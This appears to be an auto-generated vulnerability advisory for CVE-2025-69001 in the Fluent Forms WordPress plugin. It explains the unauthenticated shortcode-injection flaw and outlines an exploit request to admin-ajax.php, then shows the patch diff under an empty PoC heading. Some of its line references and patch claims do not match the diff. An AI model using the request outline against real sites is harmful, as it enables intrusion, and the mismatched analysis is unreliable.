Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69001: FluentForm <= 6.1.11 – Unauthenticated Arbitrary Shortcode Execution (fluentform)

Plugin fluentform
Severity Medium (CVSS 6.5)
CWE 94
Vulnerable Version 6.1.11
Patched Version 6.1.12
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69001:
The Fluent Forms WordPress plugin contains an unauthenticated arbitrary shortcode execution vulnerability in versions up to and including 6.1.11. The vulnerability exists in the form submission confirmation handler, allowing attackers to execute arbitrary WordPress shortcodes via unsanitized user input. This issue received a CVSS score of 6.5 (Medium severity) and affects the core form processing functionality.

Atomic Edge research identified the root cause in the FormHandler.php and SubmissionHandlerService.php files. The vulnerability occurs when processing form submissions with ‘samePage’ confirmation redirects. In the vulnerable code, the plugin passes unsanitized user-controlled data from the ‘messageToShow’ parameter directly to the do_shortcode() function at lines 279 and 327 in FormHandler.php. The plugin retrieves this data from form submissions without proper validation, allowing attackers to inject malicious shortcode payloads. The getReturnData() method in SubmissionHandlerService.php at line 310 processes this data, and the ShortCodeParser::parse() function at line 325 executes the shortcodes.

The exploitation method involves submitting a specially crafted form payload to the plugin’s submission endpoint. Attackers can send POST requests to /wp-admin/admin-ajax.php with the action parameter set to ‘fluentform_submit’. The payload includes a form_id parameter and form data containing malicious shortcode syntax in fields that map to the confirmation message. For example, an attacker could inject [shortcode attribute=’malicious_payload’] into form fields that the plugin uses to construct the ‘messageToShow’ value. The plugin processes this input through do_shortcode() without authentication checks, executing the embedded shortcode with WordPress privileges.

The patch addresses the vulnerability by implementing proper input sanitization before shortcode execution. In FormHandler.php, developers added fluentform_sanitize_html() calls before do_shortcode() at lines 278 and 310. They also moved the do_shortcode() call to after sanitization and filter application. In SubmissionHandlerService.php, developers removed the do_shortcode() call from the message construction at line 327 and added sanitization at line 311. The ShortCodeParser::parse() function received an additional $htmlSanitized parameter that enables automatic HTML sanitization when processing shortcodes. These changes ensure user input undergoes proper sanitization before WordPress executes any shortcodes.

Successful exploitation allows unauthenticated attackers to execute arbitrary WordPress shortcodes with the privileges of the plugin. This can lead to various impacts depending on available shortcodes, including remote code execution via plugins that register dangerous shortcodes, sensitive data disclosure through shortcodes that output database content, privilege escalation by executing user management shortcodes, and site defacement through content injection. The vulnerability affects all WordPress installations using Fluent Forms up to version 6.1.11, requiring immediate patching.

Differential between vulnerable and patched code

Code Diff
--- a/fluentform/app/Modules/Form/FormHandler.php
+++ b/fluentform/app/Modules/Form/FormHandler.php
@@ -276,19 +276,11 @@
         );

         if ('samePage' == $confirmation['redirectTo']) {
-
-            $confirmation['messageToShow'] = apply_filters_deprecated(
-                'fluentform_submission_message_parse',
-                [
-                    $confirmation['messageToShow'],
-                    $insertId,
-                    $formData,
-                    $form
-                ],
-                FLUENTFORM_FRAMEWORK_UPGRADE,
-                'fluentform/submission_message_parse',
-                'Use fluentform/submission_message_parse instead of fluentform_submission_message_parse.'
-            );
+
+            $confirmation['messageToShow'] = fluentform_sanitize_html($confirmation['messageToShow']);
+
+            $confirmation['messageToShow'] = do_shortcode($confirmation['messageToShow']);
+
             $confirmation['messageToShow'] = apply_filters('fluentform/submission_message_parse',
                 $confirmation['messageToShow'], $insertId, $formData, $form);

@@ -304,7 +296,7 @@
             $message = $message ? $message : 'The form has been successfully submitted.';

             $returnData = [
-                'message' => do_shortcode($message),
+                'message' => $message,
                 'action'  => $confirmation['samePageFormBehavior'],
             ];
         } else {
--- a/fluentform/app/Services/Form/SubmissionHandlerService.php
+++ b/fluentform/app/Services/Form/SubmissionHandlerService.php
@@ -25,14 +25,14 @@
     protected $validationService;
     protected $submissionService;
     protected $alreadyInsertedId;
-
+
     public function __construct()
     {
         $this->app = App::getInstance();
         $this->validationService = new FormValidationService();
         $this->submissionService = new SubmissionService();
     }
-
+
     /**
      * Form Submission
      * @param $formDataRaw
@@ -48,17 +48,17 @@
             return $returnData;
         }
         $insertId = $this->insertSubmission($insertData, $formDataRaw, $formId);
-
+
         return $this->processSubmissionData($insertId, $this->formData, $this->form);
     }
-
+
     /**
      * @throws ValidationException
      */
     protected function prepareHandler($formId, $formDataRaw)
     {
         $this->form = Form::find($formId);
-
+
         if (!$this->form) {
             throw new ValidationException('', 422, null, ['errors' => 'Sorry, No corresponding form found']);
         }
@@ -71,41 +71,40 @@
          */
         foreach ($formDataRaw as $name => $input) {
             if (is_array($input)) {
-                $formDataRaw[$name] = array_filter($input, function($value) {
+                $formDataRaw[$name] = array_filter($input, function ($value) {
                     return $value !== null && $value !== false && $value !== '';
                 });
             }
-
+
             // Process "Other" options for checkboxes and radio fields
             if (strpos($name, '__ff_other_input__') !== false && !empty($input)) {
                 $fieldName = str_replace('__ff_other_input__', '', $name);
-
+
                 // Handle checkbox fields (array values)
                 if (isset($formDataRaw[$fieldName]) && is_array($formDataRaw[$fieldName])) {
                     $selectedValues = $formDataRaw[$fieldName];
-
+
                     // Handle field-specific "Other" values
                     $otherValue = '__ff_other_' . $fieldName . '__';
-
+
                     $key = array_search($otherValue, $selectedValues);
-
+
                     if ($key !== false) {
                         $selectedValues[$key] = 'Other: ' . sanitize_text_field($input);
                         $formDataRaw[$fieldName] = $selectedValues;
                     }
-                }
-                // Handle radio fields (single value)
+                } // Handle radio fields (single value)
                 elseif (isset($formDataRaw[$fieldName]) && $formDataRaw[$fieldName] === '__ff_other_' . $fieldName . '__') {
                     $formDataRaw[$fieldName] = 'Other: ' . sanitize_text_field($input);
                 }
-
+
                 unset($formDataRaw[$name]);
             }
         }

         // Parse the form and get the flat inputs with validations.
         $this->fields = FormFieldsParser::getEssentialInputs($this->form, $formDataRaw, ['rules', 'raw']);
-
+
         // @todo Remove this after few version as we are doing it during conversation now
         // Removing left out fields during conversation which causes validation issues
         $isConversationalForm = Helper::isConversionForm($formId);
@@ -118,11 +117,11 @@
         $formData = fluentFormSanitizer($formDataRaw, null, $this->fields);

         $acceptedFieldKeys = array_merge($this->fields, array_flip(Helper::getWhiteListedFields($formId)));
-
+
         $this->formData = array_intersect_key($formData, $acceptedFieldKeys);
     }
-
-
+
+
     /**
      * Prepare the data to be inserted to the database.
      * @param boolean $formData
@@ -141,7 +140,7 @@
         }
         $browser = new Browser();
         $inputConfigs = FormFieldsParser::getEntryInputs($this->form, ['admin_label', 'raw']);
-
+
         $formData = apply_filters_deprecated(
             'fluentform_insert_response_data',
             [
@@ -154,7 +153,7 @@
             'Use fluentform/insert_response_data instead of fluentform_insert_response_data.'
         );
         $this->formData = apply_filters('fluentform/insert_response_data', $formData, $formId, $inputConfigs);
-
+
         $ipAddress = sanitize_text_field($this->app->request->getIp());

         $disableIpLog = apply_filters_deprecated(
@@ -172,7 +171,7 @@
                 $disableIpLog, $formId)) {
             $ipAddress = false;
         }
-
+
         $response = [
             'form_id'       => $formId,
             'serial_number' => $serialNumber,
@@ -186,7 +185,7 @@
             'created_at'    => current_time('mysql'),
             'updated_at'    => current_time('mysql'),
         ];
-
+
         $response = apply_filters_deprecated(
             'fluentform_filter_insert_data',
             [
@@ -199,24 +198,24 @@

         return apply_filters('fluentform/filter_insert_data', $response);
     }
-
+
     public function processSubmissionData($insertId, $formData, $form)
     {
         $form = isset($this->form) ? $this->form : $form;
         $formData = isset($this->formData) ? $this->formData : $formData;
         do_action_deprecated(
             'fluentform_before_form_actions_processing', [
-                $insertId,
-                $this->formData,
-                $form
-            ],
+            $insertId,
+            $this->formData,
+            $form
+        ],
             FLUENTFORM_FRAMEWORK_UPGRADE,
             'fluentform/before_form_actions_processing',
             'Use fluentform/before_form_actions_processing instead of fluentform_before_form_actions_processing.'
         );
-
+
         do_action('fluentform/before_form_actions_processing', $insertId, $formData, $form);
-
+
         if ($insertId) {
             ob_start();
             $this->submissionService->recordEntryDetails($insertId, $form->id, $formData);
@@ -228,17 +227,17 @@
         $error = '';
         try {
             do_action('fluentform_submission_inserted', $insertId, $formData, $form);
-
+
             do_action('fluentform/submission_inserted', $insertId, $formData, $form);

             Helper::setSubmissionMeta($insertId, 'is_form_action_fired', 'yes');

             do_action_deprecated(
                 'fluentform_submission_inserted_' . $form->type . '_form', [
-                    $insertId,
-                    $formData,
-                    $form
-                ],
+                $insertId,
+                $formData,
+                $form
+            ],
                 FLUENTFORM_FRAMEWORK_UPGRADE,
                 'fluentform/submission_inserted_' . $form->type . '_form',
                 'Use fluentform/submission_inserted_' . $form->type . '_form instead of fluentform_submission_inserted_' . $form->type . '_form'
@@ -259,24 +258,24 @@

         do_action_deprecated(
             'fluentform_before_submission_confirmation', [
-                $insertId,
-                $formData,
-                $form
-            ],
+            $insertId,
+            $formData,
+            $form
+        ],
             FLUENTFORM_FRAMEWORK_UPGRADE,
             'fluentform/before_submission_confirmation',
             'Use fluentform/before_submission_confirmation instead of fluentform_before_submission_confirmation.'
         );

         do_action('fluentform/before_submission_confirmation', $insertId, $formData, $form);
-
+
         return [
             'insert_id' => $insertId,
             'result'    => $this->getReturnData($insertId, $form, $formData),
             'error'     => $error,
         ];
     }
-
+
     /**
      * Return Formatted Response Data
      * @param $insertId
@@ -310,6 +309,9 @@
             $form
         );
         if ('samePage' == Arr::get($confirmation, 'redirectTo')) {
+
+            $confirmation['messageToShow'] = fluentform_sanitize_html($confirmation['messageToShow']);
+
             $confirmation['messageToShow'] = apply_filters_deprecated(
                 'fluentform_submission_message_parse',
                 [
@@ -323,23 +325,23 @@
                 'Use fluentform/submission_message_parse instead of fluentform_submission_message_parse.'
             );

-            $confirmation['messageToShow'] = apply_filters('fluentform/submission_message_parse',
-                $confirmation['messageToShow'], $insertId, $formData, $form);
-
+            $confirmation['messageToShow'] = apply_filters('fluentform/submission_message_parse', $confirmation['messageToShow'], $insertId, $formData, $form);
+
+            $confirmation['messageToShow'] = do_shortcode($confirmation['messageToShow']);
+
             $message = ShortCodeParser::parse(
                 $confirmation['messageToShow'],
                 $insertId,
                 $formData,
                 $form,
                 false,
+                true,
                 true
             );
             $message = $message ? $message : __('The form has been successfully submitted.', 'fluentform');

-            $message = fluentform_sanitize_html($message);
-
             $returnData = [
-                'message' => do_shortcode($message),
+                'message' => $message,
                 'action'  => $confirmation['samePageFormBehavior'],
             ];
         } else {
@@ -349,7 +351,7 @@
             }
             $enableQueryString = Arr::get($confirmation, 'enable_query_string') === 'yes';
             $queryStrings = Arr::get($confirmation, 'query_strings');
-
+
             if ($enableQueryString && $queryStrings) {
                 $separator = strpos($redirectUrl, '?') !== false ? '&' : '?';
                 $redirectUrl .= $separator . $queryStrings;
@@ -362,7 +364,7 @@
                 'fluentform/will_parse_url_value',
                 'Use fluentform/will_parse_url_value instead of fluentform_will_parse_url_value.'
             );
-
+
             $isUrlParser = apply_filters('fluentform/will_parse_url_value', $parseUrl, $form);
             $redirectUrl = ShortCodeParser::parse(
                 $redirectUrl,
@@ -375,7 +377,7 @@
                 /*
                  * Encode Redirect Value
                  */
-                $encodeUrl = apply_filters('fluentform/will_encode_url_value',false,$redirectUrl, $insertId, $form, $formData);
+                $encodeUrl = apply_filters('fluentform/will_encode_url_value', false, $redirectUrl, $insertId, $form, $formData);
                 if (strpos($redirectUrl, '&') || '=' == substr($redirectUrl, -1) || $encodeUrl) {
                     $urlArray = explode('?', $redirectUrl);
                     $baseUrl = array_shift($urlArray);
@@ -383,7 +385,7 @@
                     $parsedUrl = wp_parse_url($redirectUrl);
                     $query = Arr::get($parsedUrl, 'query', '');
                     $queryParams = explode('&', $query);
-
+
                     $params = [];
                     foreach ($queryParams as $queryParam) {
                         $paramArray = explode('=', $queryParam);
@@ -404,7 +406,7 @@
                     }
                 }
             }
-
+
             $message = ShortCodeParser::parse(
                 Arr::get($confirmation, 'redirectMessage', ''),
                 $insertId,
@@ -413,26 +415,26 @@
                 false,
                 true
             );
-
+
             $redirectUrl = apply_filters('fluentform/redirect_url_value', wp_sanitize_redirect(rawurldecode($redirectUrl)), $insertId, $form, $formData);
             $returnData = [
                 'redirectUrl' => esc_url_raw($redirectUrl),
                 'message'     => fluentform_sanitize_html($message),
             ];
         }
-
+
         $returnData = apply_filters_deprecated('fluentform_submission_confirmation', [
-                $returnData,
-                $form,
-                $confirmation,
-                $insertId,
-                $formData
-            ],
+            $returnData,
+            $form,
+            $confirmation,
+            $insertId,
+            $formData
+        ],
             FLUENTFORM_FRAMEWORK_UPGRADE,
             'fluentform/submission_confirmation',
             'Use fluentform/submission_confirmation instead of fluentform_submission_confirmation.'
         );
-
+
         return $this->app->applyFilters(
             'fluentform/submission_confirmation',
             $returnData,
@@ -450,7 +452,7 @@
         if ($spamSources) {
             unset($insertData['spam_from']);
         }
-
+
         if (Arr::get($insertData, 'status') !== 'spam') {
             return false;
         }
@@ -462,21 +464,21 @@
         }

         $shouldSkip = false;
-
+
         foreach ($spamSources as $source) {
             if ($this->shouldSkipProcessingForSource($source)) {
                 $this->processSpamSubmission($insertId, $source);
                 $shouldSkip = true;
             }
         }
-
+
         if ($shouldSkip) {
             return [
                 'insert_id' => $insertId,
                 'result'    => $this->getReturnData($insertId, $this->form, $this->formData),
             ];
         }
-
+
         // Set a property for already inserted data for spam
         $this->alreadyInsertedId = $insertId;

@@ -487,24 +489,24 @@
     {
         $settings = get_option('_fluentform_global_form_settings');
         $cleanTalkSettings = get_option('_fluentform_cleantalk_details');
-
+
         switch ($source) {
             case 'Akismet':
                 return $settings &&
-                       'yes' == Arr::get($settings, 'misc.akismet_status') &&
-                       'mark_as_spam_and_skip_processing' == Arr::get($settings, 'misc.akismet_validation');
+                    'yes' == Arr::get($settings, 'misc.akismet_status') &&
+                    'mark_as_spam_and_skip_processing' == Arr::get($settings, 'misc.akismet_validation');
             case 'CleanTalk':
                 return $settings &&
-                       'yes' == Arr::get($settings, 'misc.cleantalk_status') &&
-                       'mark_as_spam_and_skip_processing' == Arr::get($settings, 'misc.cleantalk_validation');
+                    'yes' == Arr::get($settings, 'misc.cleantalk_status') &&
+                    'mark_as_spam_and_skip_processing' == Arr::get($settings, 'misc.cleantalk_validation');
             case 'CleanTalk API':
                 return Arr::get($cleanTalkSettings, 'status') &&
-                       'mark_as_spam_and_skip_processing' == Arr::get($cleanTalkSettings, 'validation');
+                    'mark_as_spam_and_skip_processing' == Arr::get($cleanTalkSettings, 'validation');
             default:
                 return false;
         }
     }
-
+
     /**
      * Validates Submission
      * @throws ValidationException
@@ -518,7 +520,7 @@
         $this->validationService->validateSubmission($this->fields, $this->formData);
         $hasSpam = false;
         $spamFrom = [];
-
+
         if ($this->validationService->isAkismetSpam($this->formData, $this->form)) {
             $hasSpam = true;
             $this->validationService->handleAkismetSpamError();
@@ -537,7 +539,7 @@
             $spamFrom[] = 'CleanTalk API';
             unset($this->formData['ff_ct_form_load_time'], $this->formData['ct_bot_detector_event_token']);
         }
-
+
         $insertData = $this->prepareInsertData();
         if ($hasSpam) {
             $insertData['status'] = 'spam';
@@ -546,7 +548,7 @@

         return $insertData;
     }
-
+
     protected function insertSubmission($insertData, $formDataRaw, $formId)
     {
         do_action_deprecated(
@@ -562,7 +564,7 @@
         );

         do_action('fluentform/before_insert_submission', $insertData, $formDataRaw, $this->form);
-
+
         if ($this->form->has_payment) {
             do_action_deprecated(
                 'fluentform_before_insert_payment_form',
@@ -577,19 +579,19 @@
             );
             do_action('fluentform/before_insert_payment_form', $insertData, $formDataRaw, $this->form);
         }
-
+
         // Check if we already have an inserted ID from spam processing
         if (isset($this->alreadyInsertedId) && $this->alreadyInsertedId) {
             return $this->alreadyInsertedId;
         }
-
+
         $insertId = Submission::insertGetId($insertData);
-
+
         do_action('fluentform/notify_on_form_submit', $insertId, $this->formData, $this->form);
-
+
         $uidHash = md5(wp_generate_uuid4() . $insertId);
         Helper::setSubmissionMeta($insertId, '_entry_uid_hash', $uidHash, $formId);
-
+
         return $insertId;
     }

--- a/fluentform/app/Services/FormBuilder/Components/Checkable.php
+++ b/fluentform/app/Services/FormBuilder/Components/Checkable.php
@@ -97,8 +97,8 @@
 //        $elMarkup .= '<fieldset role="group"  style="border: none!important;margin: 0!important;padding: 0!important;background-color: transparent!important;box-shadow: none!important;outline: none!important; min-inline-size: 100%;" aria-labelledby="legend_' . $legendId . '">';
 //
 //        $elMarkup .= '<legend  style="  position: absolute;width: 1px;height: 1px;padding: 0;margin: 0;overflow: hidden;clip: rect(0, 0, 0, 0);border: 0;"  role="heading" id="legend_' . $legendId . '" class="ff-sreader-only">' . esc_attr($this->removeShortcode($data['settings']['label'])) . '</legend>';
-
-
+
+        $otherInputHtml = '';
         foreach ($formattedOptions as $option) {
             $displayType = isset($data['settings']['display_type']) ? ' ff-el-form-check-' . $data['settings']['display_type'] : '';
             $parentClass = 'ff-el-form-check' . esc_attr($displayType) . '';
@@ -147,7 +147,7 @@
             $isOtherOption = ArrayHelper::get($option, 'is_other', false);
             $otherClass = $isOtherOption ? ' ff-other-option' : '';

-            $elMarkup .= "<label class='ff-el-form-check-label{$otherClass}'><input {$disabled} {$atts} id='{$id}' aria-label='{$this->removeShortcode($ariaLabel)}' aria-invalid='false' aria-required={$ariaRequired}> <span>" . $label . '</span></label>';
+            $elMarkup .= "<label class='ff-el-form-check-label{$otherClass}' for='{$id}'><input {$disabled} {$atts} id='{$id}' aria-label='{$this->removeShortcode($ariaLabel)}' aria-invalid='false' aria-required={$ariaRequired}> <span>" . $label . '</span></label>';

             // Add text input for "Other" option
             if ($isOtherOption && defined('FLUENTFORMPRO')) {
@@ -156,9 +156,10 @@
                 $otherInputName = $fieldName . '__ff_other_input__';
                 $otherValue = '';

-                $elMarkup .= "<div class='ff-other-input-wrapper' style='display: none; margin-top: 8px;' data-field='{$fieldName}'>";
-                $elMarkup .= "<input type='text' name='" . esc_attr($otherInputName) . "' class='ff-el-form-control' placeholder='" . esc_attr($otherPlaceholder) . "' value='" . esc_attr($otherValue) . "'>";
-                $elMarkup .= "</div>";
+                $marginTop = $hasImageOption ? '20px' : '8px';
+                $otherInputHtml .= "<div class='ff-other-input-wrapper' style='display: none; margin-top: {$marginTop};' data-field='{$fieldName}'>";
+                $otherInputHtml .= "<input type='text' name='" . esc_attr($otherInputName) . "' class='ff-el-form-control' placeholder='" . esc_attr($otherPlaceholder) . "' value='" . esc_attr($otherValue) . "'>";
+                $otherInputHtml .= "</div>";
             }

             $elMarkup .= '</div>';
@@ -167,6 +168,9 @@
         if ($hasImageOption) {
             $elMarkup .= '</div>';
         }
+        if ($otherInputHtml) {
+            $elMarkup .= $otherInputHtml;
+        }
 //        $elMarkup .= '</fieldset>';

         $html = $this->buildElementMarkup($elMarkup, $data, $form);
--- a/fluentform/app/Services/FormBuilder/ShortCodeParser.php
+++ b/fluentform/app/Services/FormBuilder/ShortCodeParser.php
@@ -30,16 +30,16 @@
         'submission'      => null,
     ];

-    public static function parse($parsable, $entryId, $data = [], $form = null, $isUrl = false, $providerOrIsHTML = false)
+    public static function parse($parsable, $entryId, $data = [], $form = null, $isUrl = false, $providerOrIsHTML = false, $htmlSanitized = false)
     {
         try {
             static::setDependencies($entryId, $data, $form, $providerOrIsHTML);

             if (is_array($parsable)) {
-                return static::parseShortCodeFromArray($parsable, $isUrl, $providerOrIsHTML);
+                return static::parseShortCodeFromArray($parsable, $isUrl, $providerOrIsHTML, $htmlSanitized);
             }

-            return static::parseShortCodeFromString($parsable, $isUrl, $providerOrIsHTML);
+            return static::parseShortCodeFromString($parsable, $isUrl, $providerOrIsHTML, $htmlSanitized);
         } catch (Exception $e) {
             if (defined('WP_DEBUG') && WP_DEBUG) {
                 // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Debug logging only when WP_DEBUG is enabled, helps developers troubleshoot shortcode parsing issues
@@ -64,7 +64,7 @@

     protected static function setdata($data)
     {
-        if (! is_null($data)) {
+        if (!is_null($data)) {
             static::$store['inputs'] = $data;
             static::$store['original_inputs'] = $data;
         } else {
@@ -76,18 +76,18 @@

     protected static function setForm($form)
     {
-        if (! is_null($form)) {
+        if (!is_null($form)) {
             static::$form = $form;
         } else {
             static::$form = static::getEntry()->form_id;
         }
     }

-    protected static function parseShortCodeFromArray($parsable, $isUrl = false, $provider = false)
+    protected static function parseShortCodeFromArray($parsable, $isUrl = false, $provider = false, $htmlSanitized = false)
     {
         foreach ($parsable as $key => $value) {
             if (is_array($value)) {
-                $parsable[$key] = static::parseShortCodeFromArray($value, $isUrl, $provider);
+                $parsable[$key] = static::parseShortCodeFromArray($value, $isUrl, $provider, $htmlSanitized);
             } else {
                 $isHtml = false;
                 if ($provider) {
@@ -104,28 +104,28 @@
                     );
                     $isHtml = apply_filters('fluentform/will_return_html', $isHtml, $provider, $key);
                 }
-                $parsable[$key] = static::parseShortCodeFromString($value, $isUrl, $isHtml);
+                $parsable[$key] = static::parseShortCodeFromString($value, $isUrl, $isHtml, $htmlSanitized);
             }
         }
-
+
         return $parsable;
     }

-    protected static function parseShortCodeFromString($parsable, $isUrl = false, $isHtml = false)
+    protected static function parseShortCodeFromString($parsable, $isUrl = false, $isHtml = false, $htmlSanitized = false)
     {
         if ('0' === $parsable) {
             return $parsable;
         }

-        if (! $parsable) {
+        if (!$parsable) {
             return '';
         }
-        return preg_replace_callback('/{+(.*?)}/', function ($matches) use ($isUrl, $isHtml) {
+        return preg_replace_callback('/{+(.*?)}/', function ($matches) use ($isUrl, $isHtml, $htmlSanitized) {
             $value = '';
             if (false !== strpos($matches[1], 'inputs.')) {
                 $formProperty = substr($matches[1], strlen('inputs.'));
                 $value = static::getFormData($formProperty, $isHtml);
-            }else if (false !== strpos($matches[1], 'labels.')) {
+            } else if (false !== strpos($matches[1], 'labels.')) {
                 $formLabelProperty = substr($matches[1], strlen('labels.'));
                 $value = static::getFormLabelData($formLabelProperty);
             } elseif (false !== strpos($matches[1], 'user.')) {
@@ -147,10 +147,10 @@
                 $property = substr($matches[1], strlen('payment.'));
                 $deprecatedValue = apply_filters_deprecated(
                     'fluentform_payment_smartcode', [
-                        '',
-                        $property,
-                        self::getInstance()
-                    ],
+                    '',
+                    $property,
+                    self::getInstance()
+                ],
                     FLUENTFORM_FRAMEWORK_UPGRADE,
                     'fluentform/payment_smartcode',
                     'Use fluentform/payment_smartcode instead of fluentform_payment_smartcode.'
@@ -167,6 +167,8 @@

             if ($isUrl) {
                 $value = rawurlencode($value);
+            } else if ($htmlSanitized) {
+                $value = fluentform_sanitize_html($value);
             }

             return $value;
@@ -185,7 +187,7 @@
             return ArrayHelper::get(static::$store['original_inputs'], $key);
         }

-        if (strpos($key, '.') && ! isset(static::$store['inputs'][$key])) {
+        if (strpos($key, '.') && !isset(static::$store['inputs'][$key])) {
             return ArrayHelper::get(
                 static::$store['original_inputs'],
                 $key,
@@ -193,7 +195,7 @@
             );
         }

-        if (! isset(static::$store['inputs'][$key])) {
+        if (!isset(static::$store['inputs'][$key])) {
             static::$store['inputs'][$key] = ArrayHelper::get(
                 static::$store['inputs'],
                 $key,
@@ -210,7 +212,7 @@

         $field = ArrayHelper::get(static::$formFields, $key, '');

-        if (! $field) {
+        if (!$field) {
             return '';
         }

@@ -281,7 +283,7 @@
             $parentKey = array_shift($keys);
             $inputLabel = str_replace($parentKey, '', $inputLabel);
         }
-        if(empty($inputLabel)){
+        if (empty($inputLabel)) {
             $inputLabel = ArrayHelper::get(ArrayHelper::get(static::$formFields, $key, []), 'admin_label', '');
         }
         if (empty($inputLabel) && isset($parentKey) && $parentKey) {
@@ -316,7 +318,7 @@
             $authorId = static::$store['post']->post_author;
             if ($authorId) {
                 $data = get_the_author_meta($authorProperty, $authorId);
-                if (! is_array($data)) {
+                if (!is_array($data)) {
                     return $data;
                 }
             }
@@ -325,7 +327,7 @@
             $metaKey = substr($key, strlen('meta.'));
             $postId = static::$store['post']->ID;
             $data = get_post_meta($postId, $metaKey, true);
-            if (! is_array($data)) {
+            if (!is_array($data)) {
                 return $data;
             }
             return '';
@@ -334,7 +336,7 @@
             $postId = static::$store['post']->ID;
             if (function_exists('get_field')) {
                 $data = get_field($metaKey, $postId, true);
-                if (! is_array($data)) {
+                if (!is_array($data)) {
                     return $data;
                 }
                 return '';
@@ -363,7 +365,7 @@
         $entry = static::getEntry();

         if (empty($entry->id)) {
-            return  '';
+            return '';
         }

         if (property_exists($entry, $key)) {
@@ -382,7 +384,7 @@
         } elseif (false !== strpos($key, 'meta.')) {
             $metaKey = substr($key, strlen('meta.'));
             $data = Helper::getSubmissionMeta($entry->id, $metaKey);
-            if (! is_array($data)) {
+            if (!is_array($data)) {
                 return $data;
             }
             return '';
@@ -421,7 +423,7 @@

             if (apply_filters('fluentform/all_data_skip_password_field', $status)) {
                 $passwords = FormFieldsParser::getInputsByElementTypes(static::getForm(), ['input_password']);
-                if (is_array($passwords) && ! empty($passwords)) {
+                if (is_array($passwords) && !empty($passwords)) {
                     $user_inputs = $response->user_inputs;
                     ArrayHelper::forget($user_inputs, array_keys($passwords));
                     $response->user_inputs = $user_inputs;
@@ -439,11 +441,11 @@
                 'Use fluentform/all_data_without_hidden_fields instead of fluentform_all_data_without_hidden_fields.'
             );
             $skipHiddenFields = ('all_data_without_hidden_fields' == $key) &&
-                                apply_filters('fluentform/all_data_without_hidden_fields', $hideHiddenField);
+                apply_filters('fluentform/all_data_without_hidden_fields', $hideHiddenField);

             if ($skipHiddenFields) {
                 $hiddenFields = FormFieldsParser::getInputsByElementTypes(static::getForm(), ['input_hidden']);
-                if (is_array($hiddenFields) && ! empty($hiddenFields)) {
+                if (is_array($hiddenFields) && !empty($hiddenFields)) {
                     ArrayHelper::forget($response->user_inputs, array_keys($hiddenFields));
                 }
             }
@@ -571,7 +573,7 @@

     public static function getForm()
     {
-        if (! is_object(static::$form)) {
+        if (!is_object(static::$form)) {
             static::$form = wpFluent()->table('fluentform_forms')->find(static::$form);
         }

@@ -585,7 +587,7 @@

     public static function getEntry()
     {
-        if (! is_object(static::$entry)) {
+        if (!is_object(static::$entry)) {
             static::$entry = wpFluent()->table('fluentform_submissions')->find(static::$entry);
         }

--- a/fluentform/app/Services/Report/ReportHelper.php
+++ b/fluentform/app/Services/Report/ReportHelper.php
@@ -631,6 +631,7 @@
                     ->withCount([
                         'submissions' => function ($q) use ($startDate, $endDate) {
                             $q->whereBetween('created_at', [$startDate, $endDate]);
+                            $q->whereNotIn('status', ['trashed', 'spam']);
                         }
                     ])
                     ->orderBy('submissions_count', 'DESC')
--- a/fluentform/boot/app.php
+++ b/fluentform/boot/app.php
@@ -85,12 +85,12 @@
     {
         if ('fluentform/fluentform.php' == $file) {
             $row_meta = [
-                'docs'    => '<a rel="noopener" href="https://fluentforms.com/docs" style="color: #197efb;font-weight: 600;" aria-label="' . esc_attr(esc_html__('View FluentForms Documentation', 'fluentform')) . '" target="_blank">' . esc_html__('Docs', 'fluentform') . '</a>',
-                'support' => '<a rel="noopener" href="https://wpmanageninja.com/support-tickets/#/" style="color: #197efb;font-weight: 600;" aria-label="' . esc_attr(esc_html__('Get Support', 'fluentform')) . '" target="_blank">' . esc_html__('Support', 'fluentform') . '</a>',
-                'developer_docs' => '<a rel="noopener" href="https://developers.fluentforms.com" style="color: #197efb;font-weight: 600;" aria-label="' . esc_attr(esc_html__('Developer Docs', 'fluentform')) . '" target="_blank">' . esc_html__('Developer Docs', 'fluentform') . '</a>',
+                'docs'    => '<a rel="noopener" href="https://fluentforms.com/docs" style="color: #197efb;font-weight: 600;" aria-label="' . esc_attr__('View FluentForms Documentation', 'fluentform') . '" target="_blank">' . esc_html__('Docs', 'fluentform') . '</a>',
+                'support' => '<a rel="noopener" href="https://wpmanageninja.com/support-tickets/#/" style="color: #197efb;font-weight: 600;" aria-label="' . esc_attr__('Get Support', 'fluentform') . '" target="_blank">' . esc_html__('Support', 'fluentform') . '</a>',
+                'developer_docs' => '<a rel="noopener" href="https://developers.fluentforms.com" style="color: #197efb;font-weight: 600;" aria-label="' . esc_attr__('Developer Docs', 'fluentform') . '" target="_blank">' . esc_html__('Developer Docs', 'fluentform') . '</a>',
             ];
             if (!defined('FLUENTFORMPRO')) {
-                $row_meta['pro'] = '<a rel="noopener" href="https://fluentforms.com" style="color: #7742e6;font-weight: bold;" aria-label="' . esc_attr(esc_html__('Upgrade to Pro', 'fluentform')) . '" target="_blank">' . esc_html__('Upgrade to Pro', 'fluentform') . '</a>';
+                $row_meta['pro'] = '<a rel="noopener" href="https://fluentforms.com" style="color: #7742e6;font-weight: bold;" aria-label="' . esc_attr__('Upgrade to Pro', 'fluentform') . '" target="_blank">' . esc_html__('Upgrade to Pro', 'fluentform') . '</a>';
             }
             return array_merge($links, $row_meta);
         }
--- a/fluentform/fluentform.php
+++ b/fluentform/fluentform.php
@@ -4,7 +4,7 @@
 /**
  * Plugin Name: Fluent Forms
  * Description: Contact Form By Fluent Forms is the advanced Contact form plugin with drag and drop, multi column supported form builder plugin
- * Version: 6.1.11
+ * Version: 6.1.12
  * Author: Contact Form - WPManageNinja LLC
  * Author URI: https://fluentforms.com
  * Plugin URI: https://wpmanageninja.com/wp-fluent-form/
@@ -17,7 +17,7 @@
 defined('FLUENTFORM') or define('FLUENTFORM', true);
 define('FLUENTFORM_DIR_PATH', plugin_dir_path(__FILE__));
 define('FLUENTFORM_FRAMEWORK_UPGRADE', '4.3.22');
-defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.1.11');
+defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.1.12');
 defined('FLUENTFORM_MINIMUM_PRO_VERSION') or define('FLUENTFORM_MINIMUM_PRO_VERSION', '6.0.0');

 if (!defined('FLUENTFORM_HAS_NIA')) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

